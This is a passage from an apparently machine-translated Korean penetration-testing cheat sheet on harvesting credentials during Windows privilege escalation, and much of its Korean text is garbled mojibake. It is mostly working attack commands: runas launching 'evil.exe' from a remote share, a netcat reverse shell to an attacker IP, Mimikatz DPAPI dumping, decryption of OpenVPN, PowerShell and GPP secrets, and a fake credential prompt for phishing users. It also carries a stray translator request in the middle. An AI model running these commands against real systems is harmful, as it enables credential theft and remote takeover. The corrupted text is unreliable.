์ ํ๋ฆฌ์ผ์ด์ ์ด Credential Manager์ ์ํธ์์ฉํ์ง ์๋ ํ, ํน์ ๋ฆฌ์์ค์ ๋ํ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํ๋ ๊ฒ์ ๋ถ๊ฐ๋ฅํ๋ค๊ณ ์๊ฐ๋ฉ๋๋ค. ๋ฐ๋ผ์ ์ ํ๋ฆฌ์ผ์ด์ ์ด vault๋ฅผ ์ฌ์ฉํ๋ ค๋ฉด ๊ธฐ๋ณธ ์ ์ฅ vault์์ ํด๋น ๋ฆฌ์์ค์ ์๊ฒฉ ์ฆ๋ช ์ ์ป๊ธฐ ์ํด ์ด๋ค ์์ผ๋ก๋ credential manager์ ํต์ ํ๊ณ ํด๋น ๋ฆฌ์์ค์ ์๊ฒฉ ์ฆ๋ช ์ ์์ฒญํด์ผ ํฉ๋๋ค.
Use the cmdkey to list the stored credentials on the machine.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
๊ทธ๋ฐ ๋ค์ ์ ์ฅ๋ ์๊ฒฉ ์ฆ๋ช
์ ์ฌ์ฉํ๊ธฐ ์ํด runas์ /savecred ์ต์
์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ค์ ์์ ๋ SMB ๊ณต์ ๋ฅผ ํตํด ์๊ฒฉ ๋ฐ์ด๋๋ฆฌ๋ฅผ ํธ์ถํฉ๋๋ค.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
์ ๊ณต๋ ์๊ฒฉ ์ฆ๋ช
์ธํธ๋ฅผ ์ฌ์ฉํด runas ์คํ.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
์ฐธ๊ณ : mimikatz, lazagne, credentialfileview, VaultPasswordView, ๋๋ Empire Powershells module์์.
DPAPI
**Data Protection API (DPAPI)**๋ ๋์นญ ์ํธํ๋ฅผ ์ํ ๋ฐฉ๋ฒ์ ์ ๊ณตํ๋ฉฐ, ์ฃผ๋ก Windows ์ด์ ์ฒด์ ๋ด์์ ๋น๋์นญ ๊ฐ์ธ ํค์ ๋์นญ ์ํธํ์ ์ฌ์ฉ๋ฉ๋๋ค. ์ด ์ํธํ๋ ์ํธ๋กํผ์ ํฌ๊ฒ ๊ธฐ์ฌํ๋ ์ฌ์ฉ์ ๋๋ ์์คํ ๋น๋ฐ์ ํ์ฉํฉ๋๋ค.
DPAPI enables the encryption of keys through a symmetric key that is derived from the userโs login secrets. ์์คํ ์ํธํ๊ฐ ํฌํจ๋ ์๋๋ฆฌ์ค์์๋ ์์คํ ์ ๋๋ฉ์ธ ์ธ์ฆ ๋น๋ฐ์ ์ฌ์ฉํฉ๋๋ค.
์ํธํ๋ ์ฌ์ฉ์ RSA ํค๋ DPAPI๋ฅผ ์ฌ์ฉํ์ฌ %APPDATA%\Microsoft\Protect{SID} ๋๋ ํฐ๋ฆฌ์ ์ ์ฅ๋๋ฉฐ, ์ฌ๊ธฐ์ {SID}๋ ์ฌ์ฉ์์ Security Identifier๋ฅผ ๋ํ๋ ๋๋ค. The DPAPI key, co-located with the master key that safeguards the userโs private keys in the same file, ์ผ๋ฐ์ ์ผ๋ก 64๋ฐ์ดํธ์ ๋๋ค ๋ฐ์ดํฐ๋ก ๊ตฌ์ฑ๋ฉ๋๋ค. (์ด ๋๋ ํฐ๋ฆฌ์ ๋ํ ์ ๊ทผ์ ์ ํ๋์ด ์์ด CMD์์ dir ๋ช ๋ น์ผ๋ก ๋ด์ฉ์ ๋์ดํ ์ ์์ง๋ง PowerShell์ ํตํด์๋ ๋์ดํ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์.)
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
์ ์ ํ ์ธ์(/pvk ๋๋ /rpc)์ ํจ๊ป mimikatz module dpapi::masterkey๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ฅผ ๋ณตํธํํ ์ ์์ต๋๋ค.
credentials files protected by the master password๋ ์ผ๋ฐ์ ์ผ๋ก ๋ค์ ์์น์ ์์ต๋๋ค:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt.\
extract many DPAPI masterkeys๋ฅผ memory์์ sekurlsa::dpapi ๋ชจ๋๋ก ์ถ์ถํ ์ ์์ต๋๋ค (root ๊ถํ์ด ์๋ ๊ฒฝ์ฐ).
PowerShell ์๊ฒฉ ์ฆ๋ช
PowerShell credentials๋ ์ํธํ๋ ์๊ฒฉ ์ฆ๋ช ์ ํธ๋ฆฌํ๊ฒ ์ ์ฅํ๋ ๋ฐฉ๋ฒ์ผ๋ก scripting ๋ฐ ์๋ํ ์์ ์ ์์ฃผ ์ฌ์ฉ๋ฉ๋๋ค. ์ด ์๊ฒฉ ์ฆ๋ช ์ DPAPI๋ก ๋ณดํธ๋๋ฉฐ, ์ผ๋ฐ์ ์ผ๋ก ์์ฑ๋ ๋์ผํ ์ฌ์ฉ์์ ๋์ผํ ์ปดํจํฐ์์๋ง ๋ณตํธํํ ์ ์์ต๋๋ค.
ํ์ผ์ ํฌํจ๋ PS ์๊ฒฉ ์ฆ๋ช ์ decryptํ๋ ค๋ฉด ๋ค์์ ์คํํ ์ ์์ต๋๋ค:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
์์ดํ์ด
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
์ ์ฅ๋ RDP ์ฐ๊ฒฐ
๋ค์ ์์น์์ ์ฐพ์ ์ ์์ต๋๋ค: HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
๊ทธ๋ฆฌ๊ณ HKCU\Software\Microsoft\Terminal Server Client\Servers\
์ต๊ทผ ์คํ๋ ๋ช ๋ น
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
์๊ฒฉ ๋ฐ์คํฌํฑ ์๊ฒฉ ์ฆ๋ช ๊ด๋ฆฌ์
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Use the Mimikatz dpapi::rdg module with appropriate /masterkey to ๋ชจ๋ .rdg ํ์ผ์ ๋ณตํธํํ์ธ์
Mimikatz sekurlsa::dpapi ๋ชจ๋๋ก ๋ฉ๋ชจ๋ฆฌ์์ ๋ง์ DPAPI masterkeys๋ฅผ ์ถ์ถํ ์ ์์ต๋๋ค
Sticky Notes
์ฌ์ฉ์๋ค์ Windows ์ํฌ์คํ
์ด์
์์ StickyNotes ์ฑ์ ์ฌ์ฉํด ๋น๋ฐ๋ฒํธ๋ฅผ ์ ์ฅํ๊ฑฐ๋ ๊ธฐํ ์ ๋ณด๋ฅผ ๋ณด๊ดํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ผ๋ฉฐ, ์ด๊ฒ์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค ํ์ผ์ด๋ผ๋ ์ฌ์ค์ ๋ชจ๋ฅด๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. ์ด ํ์ผ์ C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite์ ์์นํ๋ฉฐ ํญ์ ์ฐพ์๋ณด๊ณ ๊ฒ์ฌํ ๊ฐ์น๊ฐ ์์ต๋๋ค.
AppCmd.exe
Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe๋ %systemroot%\system32\inetsrv\ ๋๋ ํฐ๋ฆฌ์ ์์ต๋๋ค.
์ด ํ์ผ์ด ์กด์ฌํ๋ฉด ์ผ๋ถ credentials๊ฐ ๊ตฌ์ฑ๋์ด ์๊ณ ๋ณต๊ตฌ๋ ์ ์์ต๋๋ค.
This code was extracted from PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
C:\Windows\CCM\SCClient.exe๊ฐ ์กด์ฌํ๋์ง ํ์ธํ์ธ์ .
์ค์น ํ๋ก๊ทธ๋จ์ run with SYSTEM privileges, ๋ง์ ๊ฒ์ด DLL Sideloading (์ ๋ณด ์ถ์ฒ https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
ํ์ผ ๋ฐ ๋ ์ง์คํธ๋ฆฌ (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH ํธ์คํธ ํค
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
๋ ์ง์คํธ๋ฆฌ์ SSH keys
SSH private keys๋ ๋ ์ง์คํธ๋ฆฌ ํค HKCU\Software\OpenSSH\Agent\Keys์ ์ ์ฅ๋ ์ ์์ผ๋ฏ๋ก, ๊ทธ ์์ ํฅ๋ฏธ๋ก์ด ํญ๋ชฉ์ด ์๋์ง ํ์ธํ์ธ์:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
ํด๋น ๊ฒฝ๋ก์์ ํญ๋ชฉ์ ์ฐพ์ผ๋ฉด ๋๊ฐ ์ ์ฅ๋ SSH key์ผ ๊ฒ์
๋๋ค. ํด๋น ํค๋ ์ํธํ๋์ด ์ ์ฅ๋์ง๋ง https://github.com/ropnop/windows_sshagent_extract๋ฅผ ์ฌ์ฉํ๋ฉด ์ฝ๊ฒ ๋ณตํธํํ ์ ์์ต๋๋ค.
์ด ๊ธฐ๋ฒ์ ๋ํ ์์ธํ ์ ๋ณด๋ ๋ค์์ ์ฐธ์กฐํ์ธ์: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
๋ง์ฝ ssh-agent ์๋น์ค๊ฐ ์คํ ์ค์ด ์๋๊ณ ๋ถํ
์ ์๋์ผ๋ก ์์๋๊ฒ ํ๋ ค๋ฉด ๋ค์์ ์คํํ์ธ์:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
์ด ๊ธฐ์ ์ ๋ ์ด์ ์ ํจํ์ง ์์ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค. ssh ํค๋ฅผ ๋ช ๊ฐ ์์ฑํ๊ณ
ssh-add๋ก ์ถ๊ฐํ ๋ค ssh๋ก ๋จธ์ ์ ๋ก๊ทธ์ธํด ๋ณด์์ต๋๋ค. ๋ ์ง์คํธ๋ฆฌ HKCU\Software\OpenSSH\Agent\Keys๋ ์กด์ฌํ์ง ์์๊ณ procmon์ ๋น๋์นญ ํค ์ธ์ฆ ๊ณผ์ ์์dpapi.dll์ ์ฌ์ฉ์ ์๋ณํ์ง ๋ชปํ์ต๋๋ค.
๋ฐฉ์น๋ ํ์ผ
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
๋ค์ ํ์ผ๋ค์ metasploit๋ก๋ ๊ฒ์ํ ์ ์์ต๋๋ค: post/windows/gather/enum_unattend
์์ ๋ด์ฉ:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM ๋ฐฑ์
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
ํด๋ผ์ฐ๋ ์๊ฒฉ ์ฆ๋ช
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
ํ์ผ SiteList.xml์ ๊ฒ์ํ์ธ์
์บ์๋ GPP ์ํธ
์ด์ ์๋ Group Policy Preferences (GPP)๋ฅผ ํตํด ์ฌ๋ฌ ๋์ ๋จธ์ ์ ์ฌ์ฉ์ ์ง์ ๋ก์ปฌ ๊ด๋ฆฌ์ ๊ณ์ ์ ๋ฐฐํฌํ ์ ์๋ ๊ธฐ๋ฅ์ด ์์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ด ๋ฐฉ๋ฒ์๋ ์ฌ๊ฐํ ๋ณด์ ์ทจ์ฝ์ ์ด ์์์ต๋๋ค. ์ฒซ์งธ, SYSVOL์ XML ํ์ผ๋ก ์ ์ฅ๋ Group Policy Objects (GPOs)๋ ๋ชจ๋ ๋๋ฉ์ธ ์ฌ์ฉ์๊ฐ ์ ๊ทผํ ์ ์์์ต๋๋ค. ๋์งธ, ์ด๋ฌํ GPP ๋ด์ ์ํธ๋ ๊ณต๊ฐ ๋ฌธ์ํ๋ ๊ธฐ๋ณธ ํค๋ก AES256์ผ๋ก ์ํธํ๋์ด ์์๊ธฐ ๋๋ฌธ์, ์ธ์ฆ๋ ์ด๋ค ์ฌ์ฉ์๋ผ๋ ์ด๋ฅผ ๋ณตํธํํ ์ ์์์ต๋๋ค. ์ด๋ ์ฌ์ฉ์๊ฐ ๊ถํ์ ์์น์ํฌ ์ ์๊ฒ ํ ์ ์์ด ์ฌ๊ฐํ ์ํ์ ์ด๋ํ์ต๋๋ค.
์ด ์ํ์ ์ํํ๊ธฐ ์ํด, ๋ก์ปฌ์ ์บ์๋ GPP ํ์ผ ์ค โcpasswordโ ํ๋๊ฐ ๋น์ด์์ง ์์ ํ์ผ์ ์ค์บํ๋ ํจ์๊ฐ ๊ฐ๋ฐ๋์์ต๋๋ค. ํด๋น ํ์ผ์ ์ฐพ์ผ๋ฉด ํจ์๋ ์ํธ๋ฅผ ๋ณตํธํํ๊ณ ์ฌ์ฉ์ ์ง์ PowerShell ๊ฐ์ฒด๋ฅผ ๋ฐํํฉ๋๋ค. ์ด ๊ฐ์ฒด์๋ GPP์ ๋ํ ์ธ๋ถ ์ ๋ณด์ ํ์ผ ์์น๊ฐ ํฌํจ๋์ด ์์ด ์ด ๋ณด์ ์ทจ์ฝ์ ์ ์๋ณํ๊ณ ์์ ํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค.
Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (W Vista ์ด์ ) for these files:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
cPassword๋ฅผ ๋ณตํธํํ๋ ค๋ฉด:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
crackmapexec๋ฅผ ์ฌ์ฉํ์ฌ passwords๋ฅผ ์ป๊ธฐ:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS ์น ๊ตฌ์ฑ
Get-Childitem โPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem โPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem โPath C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
์๊ฒฉ ์ฆ๋ช ์ด ํฌํจ๋ web.config ์:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN ์๊ฒฉ ์ฆ๋ช
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
๋ก๊ทธ
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem โPath C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
credentials ์์ฒญํ๊ธฐ
์ฌ์ฉ์๊ฐ ์๊ณ ์์ ๊ฒ ๊ฐ๋ค๋ฉด ํญ์ ํด๋น ์ฌ์ฉ์์๊ฒ ์์ ์ credentials ๋๋ ๋ค๋ฅธ ์ฌ์ฉ์์ credentials ์ ๋ ฅ์ ์์ฒญํ ์ ์์ต๋๋ค (์ฃผ์: ํด๋ผ์ด์ธํธ์๊ฒ ์ง์ credentials๋ฅผ ์์ฒญํ๋ ๊ฒ์ ๋งค์ฐ ์ํํฉ๋๋ค):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
credentials๋ฅผ ํฌํจํ ์ ์๋ ๊ฐ๋ฅํ ํ์ผ ์ด๋ฆ
๋ค์์ ๊ณผ๊ฑฐ์ passwords๋ฅผ clear-text ๋๋ Base64๋ก ํฌํจํ๊ณ ์์๋ ์๋ ค์ง ํ์ผ๋ค์ ๋๋ค.
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
๋ฒ์ญํ src/windows-hardening/windows-local-privilege-escalation/README.md ํ์ผ์ ์๋ฌธ ๋ด์ฉ์ ๋ถ์ฌ ๋ฃ์ด ์ฃผ์ธ์. ํ์ผ(๋๋ ๋ณต์์ ํ์ผ)์ ์ ๊ณตํด ์ฃผ์๋ฉด, ์์ฒญํ์ ๊ท์น์ ์ค์ํด Markdown/HTML ํ๊ทธ๋ ๊ทธ๋๋ก ๋๊ณ ํ๊ตญ์ด๋ก ๋ฒ์ญํด ๋๋ฆฌ๊ฒ ์ต๋๋ค.
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem โPath C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
ํด์งํต์ ์๊ฒฉ ์ฆ๋ช
์๊ฒฉ ์ฆ๋ช ์ด ์๋์ง ํด์งํต(Bin)๋ ํ์ธํด์ผ ํฉ๋๋ค
์ฌ๋ฌ ํ๋ก๊ทธ๋จ์ ์ ์ฅ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณต๊ตฌํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค: http://www.nirsoft.net/password_recovery_tools.html
๋ ์ง์คํธ๋ฆฌ ๋ด๋ถ
์๊ฒฉ ์ฆ๋ช ์ด ํฌํจ๋ ์ ์๋ ๋ค๋ฅธ ๋ ์ง์คํธ๋ฆฌ ํค๋ค
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
๋ธ๋ผ์ฐ์ ๊ธฐ๋ก
Chrome ๋๋ Firefox์ passwords๊ฐ ์ ์ฅ๋ dbs๋ฅผ ํ์ธํด์ผ ํฉ๋๋ค.
๋ํ ๋ธ๋ผ์ฐ์ ์ history, bookmarks ๋ฐ favourites๋ฅผ ํ์ธํ์ธ์ โ ์ผ๋ถ passwords๊ฐ ๊ฑฐ๊ธฐ์ ์ ์ฅ๋์ด ์์ ์ ์์ต๋๋ค.
Tools to extract passwords from browsers:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
**Component Object Model (COM)**๋ ์๋ก ๋ค๋ฅธ ์ธ์ด๋ก ์์ฑ๋ ์ํํธ์จ์ด ๊ตฌ์ฑ์์ ๊ฐ์ intercommunication์ ํ์ฉํ๋ Windows ์ด์์ฒด์ ๋ด์ฅ ๊ธฐ์ ์ ๋๋ค. ๊ฐ COM ์ปดํฌ๋ํธ๋ **identified via a class ID (CLSID)**๋๋ฉฐ, ๊ฐ ์ปดํฌ๋ํธ๋ ํ๋ ์ด์์ ์ธํฐํ์ด์ค๋ฅผ ํตํด ๊ธฐ๋ฅ์ ๋ ธ์ถํ๊ณ ์ด๋ค์ interface IDs (IIDs)๋ก ์๋ณ๋ฉ๋๋ค.
COM classes ๋ฐ interfaces๋ ๋ ์ง์คํธ๋ฆฌ์ HKEY\CLASSES\ROOT\CLSID ๋ฐ HKEY\CLASSES\ROOT\Interface ์๋์ ์ ์๋ฉ๋๋ค. ์ด ๋ ์ง์คํธ๋ฆฌ๋ HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes ๋ฅผ ๋ณํฉํ์ฌ ์์ฑ๋ HKEY\CLASSES\ROOT ์ ๋๋ค.
์ด ๋ ์ง์คํธ๋ฆฌ์ CLSID ๋ด๋ถ์๋ InProcServer32๋ผ๋ ํ์ ๋ ์ง์คํธ๋ฆฌ๊ฐ ์์ผ๋ฉฐ, ์ฌ๊ธฐ์๋ default value๋ก DLL์ ๊ฐ๋ฆฌํค๋ ๊ฐ๊ณผ ThreadingModel์ด๋ผ๋ ๊ฐ์ด ์์ต๋๋ค. ThreadingModel์ Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) ๋๋ Neutral (Thread Neutral)์ผ ์ ์์ต๋๋ค.
.png)
๊ธฐ๋ณธ์ ์ผ๋ก, ์คํ๋ DLL๋ค ์ค ์ด๋ค ๊ฒ์๋ overwrite any of the DLLs ์ ์๋ค๋ฉด, ๊ทธ DLL์ด ๋ค๋ฅธ ์ฌ์ฉ์์ ์ํด ์คํ๋ ๊ฒฝ์ฐ escalate privileges ํ ์ ์์ต๋๋ค.
๊ณต๊ฒฉ์๋ค์ด COM Hijacking์ persistence ๋ฉ์ปค๋์ฆ์ผ๋ก ์ด๋ป๊ฒ ์ฌ์ฉํ๋์ง ์์๋ณด๋ ค๋ฉด ๋ค์์ ํ์ธํ์ธ์:
Generic Password search in files and registry
Search for file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
ํน์ ํ์ผ ์ด๋ฆ์ ๊ฐ์ง ํ์ผ ์ฐพ๊ธฐ
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
๋ ์ง์คํธ๋ฆฌ์์ ํค ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ ๊ฒ์
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
